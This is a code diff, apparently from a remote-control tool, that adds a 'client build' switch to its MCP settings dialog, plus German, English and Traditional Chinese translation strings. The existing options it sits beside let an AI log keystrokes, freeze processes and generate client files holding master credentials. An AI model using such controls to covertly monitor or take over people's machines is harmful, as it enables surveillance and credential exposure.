@@ -339,6 +345,7 @@ void CMcpSettingsDlg::OnOK()
|
||||
bool machineDangerous = (m_btnMachineDangerous.GetCheck() == BST_CHECKED);
|
||||
bool chat = (m_btnChat.GetCheck() == BST_CHECKED);
|
||||
bool keylog = (m_btnKeylog.GetCheck() == BST_CHECKED);
|
||||
bool build = (m_btnBuild.GetCheck() == BST_CHECKED);
|
||||
bool https = (m_btnHttps.GetCheck() == BST_CHECKED);
|
||||
|
||||
// 危险子集依附于主机管理总开关:没开主机管理就没有工具可放开,直接清除并提示。
|
||||
@@ -401,6 +408,7 @@ void CMcpSettingsDlg::OnOK()
|
||||
THIS_CFG.SetInt("settings", "McpMachineDangerous", machineDangerous ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpChat", chat ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpKeylog", keylog ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpBuild", build ? 1 : 0);
|
||||
std::string whitelist = CT2A(sWhitelist);
|
||||
whitelist = NormalizeWhitelist(whitelist);
|
||||
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
|
||||
@@ -416,6 +424,7 @@ void CMcpSettingsDlg::OnOK()
|
||||
_TR("主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。") + _T("\r\n") +
|
||||
_TR("远程交谈开关的改动需重启程序生效。") + _T("\r\n") +
|
||||
_TR("键盘记录开关的改动需重启程序生效。") + _T("\r\n") +
|
||||
_TR("客户端生成开关的改动需重启程序生效;它还会写出带主控凭据的客户端文件,请谨慎开启。") + _T("\r\n") +
|
||||
_TR("HTTPS 开关与证书路径的改动需重启程序生效。") + _T("\r\n") +
|
||||
_TR("证书须为 PEM 格式,私钥须为 PKCS#8 格式。"),
|
||||
_TR("提示"), MB_ICONINFORMATION);
|
||||
@@ -494,6 +503,9 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
m_btnKeylog.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
m_btnBuild.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
const int whitelistH = 90;
|
||||
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
||||
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
||||
|
||||
@@ -46,6 +46,7 @@ private:
|
||||
IDC_MCP_CERT_BROWSE = 1018, // 证书路径「浏览」按钮
|
||||
IDC_MCP_KEY_BROWSE = 1019, // 私钥路径「浏览」按钮
|
||||
IDC_MCP_FILEWRITE = 1020, // 「启用文件写入」复选框(删除/改名/建目录,要求只读关)
|
||||
IDC_MCP_BUILD = 1021, // 「启用客户端生成」复选框(build_client,要求只读关)
|
||||
};
|
||||
|
||||
CButton m_btnEnable;
|
||||
@@ -61,6 +62,7 @@ private:
|
||||
CButton m_btnMachineDangerous;
|
||||
CButton m_btnChat;
|
||||
CButton m_btnKeylog;
|
||||
CButton m_btnBuild;
|
||||
CStatic m_lblWhitelist;
|
||||
CEdit m_editWhitelist;
|
||||
CButton m_btnHttps;
|
||||
|
||||
@@ -2058,6 +2058,8 @@ MCPԶ
|
||||
远程交谈开关的改动需重启程序生效。=Aenderungen am Fernchat-Schalter werden nach einem Neustart wirksam.
|
||||
启用键盘记录(AI 采集击键)=Keylogger aktivieren (KI-Tastenaufzeichnung)
|
||||
键盘记录开关的改动需重启程序生效。=Aenderungen am Keylogger-Schalter werden erst nach einem Neustart wirksam.
|
||||
启用客户端生成(AI 生成客户端文件,要求只读关)=Client-Erstellung aktivieren (KI erzeugt Clientdateien; Nur-Lesen aus)
|
||||
客户端生成开关的改动需重启程序生效;它还会写出带主控凭据的客户端文件,请谨慎开启。=Aenderungen am Client-Erstellungs-Schalter werden nach einem Neustart wirksam; er schreibt Clientdateien mit Master-Anmeldedaten, daher bitte vorsichtig aktivieren.
|
||||
主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。=Schreiboperationen der Maschinenverwaltung erfordern deaktivierten Nur-Lesen-Modus; Einfrieren/Auftauen von Prozessen und Stoppen/Neustarten von Diensten erfordern zusaetzlich gefaehrliche Maschinenoperationen.
|
||||
第 %d 个钱包地址不合法!=Wallet-Adresse #%d ist ungueltig!
|
||||
%d 新连接\r\n=%d Neue Verbindung\r\n
|
||||
@@ -2225,6 +2227,7 @@ HTTPS
|
||||
内嵌TLS信任锚(首连即加密)=TLS-Vertrauensanker einbetten (TLS von Anfang an)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=TLS-Vertrauensanker einbetten (in ServerDll.dll)
|
||||
内嵌TLS信任锚(该目标不含客户端)=TLS-Vertrauensanker einbetten (Ziel ohne Client)
|
||||
内嵌TLS信任锚(仅Windows客户端模板支持)=TLS-Vertrauensanker einbetten (nur Windows-Clientvorlagen)
|
||||
内嵌TLS信任锚(该协议不走TLS)=TLS-Vertrauensanker einbetten (Protokoll ohne TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=TLS-Vertrauensanker einbetten (Server-TLS aus)
|
||||
内嵌 TLS 信任锚失败,已取消生成:=TLS-Vertrauensanker konnte nicht eingebettet werden, Generierung abgebrochen:
|
||||
|
||||
@@ -2059,6 +2059,8 @@ MCPԶ
|
||||
远程交谈开关的改动需重启程序生效。=Changes to the remote chat switch take effect after restart.
|
||||
启用键盘记录(AI 采集击键)=Enable keylogger (AI keystroke capture)
|
||||
键盘记录开关的改动需重启程序生效。=Changes to the keylogger switch take effect after restart.
|
||||
启用客户端生成(AI 生成客户端文件,要求只读关)=Enable client build (AI generates client files; requires read-only mode off)
|
||||
客户端生成开关的改动需重启程序生效;它还会写出带主控凭据的客户端文件,请谨慎开启。=Changes to the client build switch take effect after restart; it also writes client files containing master credentials, so enable it with care.
|
||||
启用 HTTPS(本端口同时接受 TLS 连接)=Enable HTTPS (this port also accepts TLS connections)
|
||||
HTTPS 开关与证书路径的改动需重启程序生效。=Changes to the HTTPS switch and certificate paths take effect after restart.
|
||||
证书或私钥文件不存在,请检查路径。=Certificate or private key file not found; check the path.
|
||||
@@ -2237,6 +2239,7 @@ MCP:
|
||||
内嵌TLS信任锚(首连即加密)=Embed TLS trust anchor (TLS on first connect)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=Embed TLS trust anchor (use ServerDll.dll)
|
||||
内嵌TLS信任锚(该目标不含客户端)=Embed TLS trust anchor (no client code here)
|
||||
内嵌TLS信任锚(仅Windows客户端模板支持)=Embed TLS trust anchor (Windows client templates only)
|
||||
内嵌TLS信任锚(该协议不走TLS)=Embed TLS trust anchor (protocol is not TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=Embed TLS trust anchor (server TLS is off)
|
||||
内嵌 TLS 信任锚失败,已取消生成:=Failed to embed the TLS trust anchor, generation cancelled:
|
||||
|
||||
@@ -2052,6 +2052,8 @@ MCPԶ
|
||||
远程交谈开关的改动需重启程序生效。=遠端交談開關的變更需重新啟動程式後生效。
|
||||
启用键盘记录(AI 采集击键)=啟用鍵盤記錄(AI 擷取按鍵)
|
||||
键盘记录开关的改动需重启程序生效。=鍵盤記錄開關的改動需重新啟動程式方可生效。
|
||||
启用客户端生成(AI 生成客户端文件,要求只读关)=啟用客戶端生成(AI 生成客戶端檔案,要求唯讀關閉)
|
||||
客户端生成开关的改动需重启程序生效;它还会写出带主控凭据的客户端文件,请谨慎开启。=客戶端生成開關的變更需重新啟動程式生效;它還會寫出帶主控憑證的客戶端檔案,請謹慎開啟。
|
||||
启用 HTTPS(本端口同时接受 TLS 连接)=啟用 HTTPS(本連接埠同時接受 TLS 連線)
|
||||
HTTPS 开关与证书路径的改动需重启程序生效。=HTTPS 開關與憑證路徑的改動需重啟程式生效。
|
||||
证书或私钥文件不存在,请检查路径。=憑證或私鑰檔案不存在,請檢查路徑。
|
||||
@@ -2230,6 +2232,7 @@ MCP:
|
||||
内嵌TLS信任锚(首连即加密)=內嵌TLS信任錨(首連即加密)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=內嵌TLS信任錨(錨在ServerDll.dll裡)
|
||||
内嵌TLS信任锚(该目标不含客户端)=內嵌TLS信任錨(該目標不含客戶端)
|
||||
内嵌TLS信任锚(仅Windows客户端模板支持)=內嵌TLS信任錨(僅Windows客戶端模板支援)
|
||||
内嵌TLS信任锚(该协议不走TLS)=內嵌TLS信任錨(該協議不走TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=內嵌TLS信任錨(服務端未啟用TLS)
|
||||
内嵌 TLS 信任锚失败,已取消生成:=內嵌 TLS 信任錨失敗,已取消生成:
|
||||
|
||||
Reference in new issue
Block a user